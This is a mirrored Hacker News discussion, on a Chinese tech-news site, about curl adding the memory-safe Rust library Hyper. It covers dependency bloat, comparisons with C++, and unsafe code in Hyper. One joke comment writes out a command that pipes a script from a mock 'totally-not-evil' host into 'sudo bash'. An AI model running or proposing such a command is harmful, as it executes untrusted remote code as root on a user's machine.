TE
科技回声
首页24小时热榜最新最佳问答展示工作
GitHubTwitter
首页

科技回声

基于 Next.js 构建的科技新闻平台,提供全球科技新闻和讨论内容。

GitHubTwitter

首页

首页最新最佳问答展示工作

资源链接

HackerNews API原版 HackerNewsNext.js

© 2025 科技回声. 版权所有。

Memory safe ‘curl’ for a more secure internet

407 点作者 kingkilr超过 4 年前

18 条评论

svnpenn超过 4 年前
I like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages:<p>autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, httpdate, indexmap, iovec, itoa, kernel32-sys, lazy_static, libc, log, memchr, mio, miow, net2, pin-project, pin-project-internal, pin-project-lite, pin-utils, proc-macro2, quote, redox_syscall, slab, socket2, syn, tokio, tokio-util, tower-service, tracing, tracing-core, try-lock, unicode-xid, want, winapi, winapi-build, winapi-i686-pc-windows-gnu, winapi-x86_64-pc-windows-gnu, ws2_32-sys
评论 #24730340 未加载
评论 #24730165 未加载
评论 #24730711 未加载
评论 #24730150 未加载
评论 #24730292 未加载
评论 #24730485 未加载
评论 #24730125 未加载
评论 #24731479 未加载
评论 #24735993 未加载
评论 #24730173 未加载
评论 #24730246 未加载
评论 #24740989 未加载
评论 #24741462 未加载
评论 #24730093 未加载
sohkamyung超过 4 年前
Here&#x27;s what Daniel Stenberg had to say about the move [1]<p>[1] <a href="https:&#x2F;&#x2F;daniel.haxx.se&#x2F;blog&#x2F;2020&#x2F;10&#x2F;09&#x2F;rust-in-curl-with-hyper&#x2F;" rel="nofollow">https:&#x2F;&#x2F;daniel.haxx.se&#x2F;blog&#x2F;2020&#x2F;10&#x2F;09&#x2F;rust-in-curl-with-hyp...</a>
评论 #24731600 未加载
评论 #24729997 未加载
评论 #24729956 未加载
评论 #24730229 未加载
评论 #24729985 未加载
steveklabnik超过 4 年前
I&#x27;ve been holding my breath ever since I saw <a href="https:&#x2F;&#x2F;github.com&#x2F;hyperium&#x2F;hyper&#x2F;issues&#x2F;2265#issuecomment-672320287" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;hyperium&#x2F;hyper&#x2F;issues&#x2F;2265#issuecomment-6...</a><p>Glad to see it seems to be going well!
评论 #24729980 未加载
hpb42超过 4 年前
I&#x27;ve heard a lot about Rust&#x27;s &quot;safety&quot; things. But what are they? How does it compare with modern C++?
评论 #24729822 未加载
评论 #24729923 未加载
评论 #24732070 未加载
navaati超过 4 年前
Wow, Rust being used in something as respected as cURL is a <i>big</i> endorsment !
评论 #24729458 未加载
评论 #24729790 未加载
评论 #24729627 未加载
nindalf超过 4 年前
When I saw the issue (<a href="https:&#x2F;&#x2F;github.com&#x2F;hyperium&#x2F;hyper&#x2F;issues&#x2F;2265" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;hyperium&#x2F;hyper&#x2F;issues&#x2F;2265</a>) for adding support for a C API to Hyper I was puzzled - couldn&#x27;t you just use curl for that?<p>As a user of software, it makes me happy to know that folks are investing in making the nuts and bolts safer and more secure.
pjmlp超过 4 年前
Good news, doesn&#x27;t matter if it is Rust or anything else with similar features, just improving security as a goal is quite valuable.<p>Heck, even Checked C would do, if it ever gets fully done.<p>In any case, looking forward to the results.
mehrdadn超过 4 年前
How often have libcurl HTTP or TLS backend bugs resulted in exploited vulnerabilities in the past?
评论 #24729356 未加载
ncmncm超过 4 年前
Switching immediately to building with C++, and then migrating incrementally to safe forms in C++, would provide much more value per unit effort. It would also enable engagement by the orders-of-magnitude more available skilled C++ programmers, who could also pick up new skills writing modern, safe C++ to apply in other migrations.<p>It is not an either&#x2F;or proposition. Certain, select modules could be recoded in Rust by particularly motivated Rust coders, leaving the huge amount of other code, for which there are too few Rust enthusiasts to work on, to be modernized in C++, and still able to call into the Rust code.
评论 #24733605 未加载
mitchtbaum超过 4 年前
I&#x27;m unifying Rust&#x27;s async HTTP implementations H1, H2, H3 and Google&#x27;s tarpc in Rust~Actix~Torchbear. I just don&#x27;t have a lot of time now sice my house got broken and I don&#x27;t have enough money to rent anywhere. It also needs a lot of work on the parsing layer, and the laptops with my notes on them are hard to keep with me as I move around.<p><a href="https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;tarpc" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;tarpc</a><p><a href="https:&#x2F;&#x2F;github.com&#x2F;actix&#x2F;actix-web&#x2F;tree&#x2F;master&#x2F;actix-http&#x2F;src&#x2F;h1" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;actix&#x2F;actix-web&#x2F;tree&#x2F;master&#x2F;actix-http&#x2F;sr...</a><p><a href="https:&#x2F;&#x2F;github.com&#x2F;hyperium&#x2F;h2" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;hyperium&#x2F;h2</a><p><a href="https:&#x2F;&#x2F;github.com&#x2F;djc&#x2F;quinn&#x2F;tree&#x2F;main&#x2F;quinn-h3" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;djc&#x2F;quinn&#x2F;tree&#x2F;main&#x2F;quinn-h3</a><p><a href="https:&#x2F;&#x2F;github.com&#x2F;speakeasy-engine&#x2F;torchbear&#x2F;blob&#x2F;master&#x2F;src&#x2F;handlers&#x2F;web_server.lua" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;speakeasy-engine&#x2F;torchbear&#x2F;blob&#x2F;master&#x2F;sr...</a><p>~<p>There&#x27;s beauty in this with the fluency in which complex applications like the coming secure social network, Radiojade, are built. See this example:<p>!# <a href="https:&#x2F;&#x2F;github.com&#x2F;foundpatternscellar&#x2F;ping-pong&#x2F;blob&#x2F;master&#x2F;alice&#x2F;packages&#x2F;ping&#x2F;actions&#x2F;send_ping.lua" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;foundpatternscellar&#x2F;ping-pong&#x2F;blob&#x2F;master...</a><p>Curl users, do you really want to stick with Bash&#x27;s syntax instead of this??
ameixaseca超过 4 年前
I like how the comment referenced in the article with the description &quot;Rust itself can&#x27;t even properly clean up its own memory&quot; was answered today saying the restriction of unwinding on oom is going away; it&#x27;s not a fundamental issue, just something that wasn&#x27;t implemented that way the first time.
7kmph超过 4 年前
I find myself in the need of a &quot;lib_download&quot; a few times, a high level library that:<p>- support HTTP&#x2F;HTTPS<p>- support proxy (for by-passing firewall, censorship, etc, http&#x2F;https&#x2F;socks5)<p>- download one large file in parallel (configurable temporary directory)<p>- download many small files in parallel (seems too high-level to put in a library, not sure this is a good feature)<p>- configurable retry (maybe too high-level to put in a library)<p>- resume download<p>- good error semantics<p>- an interface with defined behaviour<p>- progress report (useful for downloading large files)<p>I tried using a wrapped (in rust) version of libcurl, and in the end I decided to just use the curl cli, and read through the man page and pass about 13 arguments to it to make it&#x27;s behaviour defined (to me, to a certain confidence level), I also pinned the curl executable to a specific version to avoid unknown changes.<p>The end result works, but the process is unnecessarily complicated (invoke the cli binary, know what argument to pass, know the meaning of the many error codes), and the resume is not pleasant to use. I guess libcurl is designed to be that way, so that to an curl-master, he can tune all the knobs to do what he want, but to a average library user who just want to download things, it requires more attention than I&#x27;m willing to give to.<p>Used in an interactive context, the issue of defined behaviour is usually overlooked, but when used a library in a program that runs unattended and expensive to upgrade&#x2F;repair, achievable defined behaviour is a must, and test is not an alternative to it, even experience is not an alternative (experience are time consuming to get, and not transferable to others).<p>All package managers needs to download packages from internet, often via HTTP, it&#x27;s good to have a easy-to-use, well-defined, capable download library, many of them uses curl (Archlinux&#x27;s pacman, rust installation script), many of them use others with varying level of capabilities, I thinks it would be beneficial if we can have a good library (in rust) for download things.
评论 #24737094 未加载
johnisgood超过 4 年前
I think Ada&#x2F;SPARK would have been a much better choice, but oh well. Is it a licensing issue?
评论 #24731753 未加载
评论 #24734243 未加载
a-dub超过 4 年前
it&#x27;s an interesting choice. i would have thought that fortifying http client libraries for major languages would be more important, but maybe they&#x27;ve already been hardened and interactive use of curl is a vector.<p>makes me wonder about other interactive tooling. would be interesting if there were malicious binaries that were benign at runtime but triggered bugs in debuggers and profilers.
kej超过 4 年前
I was under the impression that curl worked on more platforms than Rust and LLVM. It will be interesting to see what happens to curl support on those platforms going forward.
评论 #24732586 未加载
评论 #24732551 未加载
cbm-vic-20超过 4 年前
Great! As long as &quot;curl <a href="https:&#x2F;&#x2F;totally-not-evil.example.com&#x2F;install.sh" rel="nofollow">https:&#x2F;&#x2F;totally-not-evil.example.com&#x2F;install.sh</a> | sudo bash&quot; still works, I feel safer already.
评论 #24729893 未加载
评论 #24730001 未加载
评论 #24730006 未加载
z3t4超过 4 年前
The bug did pass the type checker. Memory safe languages also have security issues. The program never run is the most secure, or like a programmer gain experience, programs get &quot;battle hardened&quot;.
benecollyridam超过 4 年前
&gt; Hyper is a fast and safe HTTP implementation Well.. Hyper does rely on unsafe blocks (14 at first glance[2]), so I don&#x27;t know if we can just assume that it&#x27;s safe. When Sergey Davidoff did their big smoke test of popular Rust HTTP implementations they found a couple of bugs[1] (through Reqwest).<p>I love the idea of a safer cURL, but I don&#x27;t think you should take this as a magical answer to all of cURL&#x27;s problems.<p>[1]<a href="https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20200506212152&#x2F;https:&#x2F;&#x2F;medium.com&#x2F;@shnatsel&#x2F;smoke-testing-rust-http-clients-b8f2ee5db4e6" rel="nofollow">https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20200506212152&#x2F;https:&#x2F;&#x2F;medium.co...</a> [2] I ran `grep -oR unsafe . | wc -l` after cloning the repo
评论 #24730459 未加载